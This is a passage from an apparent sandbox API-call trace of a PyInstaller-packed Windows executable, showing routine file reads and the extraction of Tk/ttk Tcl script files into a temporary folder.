lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.910] CloseHandle (hObject=0x10c) returned 1 [0044.910] GetLastError () returned 0x0 [0044.910] SetLastError (dwErrCode=0x0) [0044.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\entry.tcl") returned 62 [0044.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\entry.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\entry.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.910] GetLastError () returned 0x2 [0044.910] SetLastError (dwErrCode=0x2) [0044.910] GetLastError () returned 0x2 [0044.910] SetLastError (dwErrCode=0x2) [0044.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\entry.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\entry.tcl", lpFilePart=0x0) returned 0x3d [0044.911] GetLastError () returned 0x2 [0044.911] SetLastError (dwErrCode=0x2) [0044.911] GetLastError () returned 0x2 [0044.911] SetLastError (dwErrCode=0x2) [0044.911] GetLastError () returned 0x2 [0044.911] SetLastError (dwErrCode=0x2) [0044.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\entry.tcl") returned 62 [0044.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\entry.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\entry.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.912] GetFileType (hFile=0x10c) returned 0x1 [0044.912] htonl (hostlong=0x143f0000) returned 0x3f14 [0044.912] WriteFile (in: hFile=0x10c, lpBuffer=0x563438*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563438*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0044.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.914] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf14, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf14, lpOverlapped=0x0) returned 1 [0044.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.914] CloseHandle (hObject=0x10c) returned 1 [0044.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563438 | out: hHeap=0x530000) returned 1 [0044.915] htonl (hostlong=0x30000000) returned 0x30 [0044.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.915] GetFileType (hFile=0x10c) returned 0x1 [0044.915] htonl (hostlong=0x1c5e6000) returned 0x605e1c [0044.915] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x650e1c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.915] htonl (hostlong=0xd9060000) returned 0x6d9 [0044.915] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6d9) returned 0x55e278 [0044.915] htonl (hostlong=0xd9060000) returned 0x6d9 [0044.915] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.916] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.916] htonl (hostlong=0xc3150000) returned 0x15c3 [0044.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15c3) returned 0x562098 [0044.916] htonl (hostlong=0xd9060000) returned 0x6d9 [0044.916] htonl (hostlong=0xc3150000) returned 0x15c3 [0044.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563668 [0044.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563668 | out: hHeap=0x530000) returned 1 [0044.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.916] CloseHandle (hObject=0x10c) returned 1 [0044.916] GetLastError () returned 0x0 [0044.916] SetLastError (dwErrCode=0x0) [0044.917] GetLastError () returned 0x0 [0044.917] SetLastError (dwErrCode=0x0) [0044.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.917] GetFileType (hFile=0x10c) returned 0x1 [0044.917] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.917] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.917] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.917] CloseHandle (hObject=0x10c) returned 1 [0044.917] GetLastError () returned 0x0 [0044.917] SetLastError (dwErrCode=0x0) [0044.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.917] GetFileType (hFile=0x10c) returned 0x1 [0044.917] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.917] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.918] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.918] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.918] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.918] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.918] CloseHandle (hObject=0x10c) returned 1 [0044.918] GetLastError () returned 0x0 [0044.918] SetLastError (dwErrCode=0x0) [0044.918] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\fonts.tcl") returned 62 [0044.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\fonts.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\fonts.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.918] GetLastError () returned 0x2 [0044.918] SetLastError (dwErrCode=0x2) [0044.918] GetLastError () returned 0x2 [0044.918] SetLastError (dwErrCode=0x2) [0044.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\fonts.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\fonts.tcl", lpFilePart=0x0) returned 0x3d [0044.918] GetLastError () returned 0x2 [0044.918] SetLastError (dwErrCode=0x2) [0044.918] GetLastError () returned 0x2 [0044.918] SetLastError (dwErrCode=0x2) [0044.918] GetLastError () returned 0x2 [0044.918] SetLastError (dwErrCode=0x2) [0044.918] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\fonts.tcl") returned 62 [0044.918] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\fonts.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\fonts.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.918] GetFileType (hFile=0x10c) returned 0x1 [0044.919] htonl (hostlong=0xc3150000) returned 0x15c3 [0044.919] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.919] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.919] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5c3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x5c3, lpOverlapped=0x0) returned 1 [0044.920] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.920] CloseHandle (hObject=0x10c) returned 1 [0044.920] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.920] htonl (hostlong=0x30000000) returned 0x30 [0044.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.920] GetFileType (hFile=0x10c) returned 0x1 [0044.920] htonl (hostlong=0xf5646000) returned 0x6064f5 [0044.920] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6514f5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.920] htonl (hostlong=0x21070000) returned 0x721 [0044.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x721) returned 0x55e278 [0044.920] htonl (hostlong=0x21070000) returned 0x721 [0044.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.920] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.920] htonl (hostlong=0x16130000) returned 0x1316 [0044.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1316) returned 0x562098 [0044.920] htonl (hostlong=0x21070000) returned 0x721 [0044.920] htonl (hostlong=0x16130000) returned 0x1316 [0044.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5633b8 [0044.920] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5633b8 | out: hHeap=0x530000) returned 1 [0044.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.921] CloseHandle (hObject=0x10c) returned 1 [0044.921] GetLastError () returned 0x0 [0044.921] SetLastError (dwErrCode=0x0) [0044.921] GetLastError () returned 0x0 [0044.921] SetLastError (dwErrCode=0x0) [0044.921] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.921] GetFileType (hFile=0x10c) returned 0x1 [0044.921] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.921] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.921] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.921] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.921] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.921] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.921] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.921] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.921] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.921] CloseHandle (hObject=0x10c) returned 1 [0044.921] GetLastError () returned 0x0 [0044.921] SetLastError (dwErrCode=0x0) [0044.921] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.921] GetFileType (hFile=0x10c) returned 0x1 [0044.922] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.922] CloseHandle (hObject=0x10c) returned 1 [0044.922] GetLastError () returned 0x0 [0044.922] SetLastError (dwErrCode=0x0) [0044.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\menubutton.tcl") returned 67 [0044.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\menubutton.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\menubutton.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.922] GetLastError () returned 0x2 [0044.922] SetLastError (dwErrCode=0x2) [0044.922] GetLastError () returned 0x2 [0044.922] SetLastError (dwErrCode=0x2) [0044.922] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\menubutton.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\menubutton.tcl", lpFilePart=0x0) returned 0x42 [0044.922] GetLastError () returned 0x2 [0044.922] SetLastError (dwErrCode=0x2) [0044.922] GetLastError () returned 0x2 [0044.922] SetLastError (dwErrCode=0x2) [0044.922] GetLastError () returned 0x2 [0044.922] SetLastError (dwErrCode=0x2) [0044.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\menubutton.tcl") returned 67 [0044.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\menubutton.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\menubutton.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.923] GetFileType (hFile=0x10c) returned 0x1 [0044.923] htonl (hostlong=0x16130000) returned 0x1316 [0044.923] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.924] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.924] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x316, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x316, lpOverlapped=0x0) returned 1 [0044.924] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.924] CloseHandle (hObject=0x10c) returned 1 [0044.924] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.924] htonl (hostlong=0x30000000) returned 0x30 [0044.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.924] GetFileType (hFile=0x10c) returned 0x1 [0044.924] htonl (hostlong=0x166c6000) returned 0x606c16 [0044.924] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x651c16, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.924] htonl (hostlong=0x2c070000) returned 0x72c [0044.924] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72c) returned 0x55e278 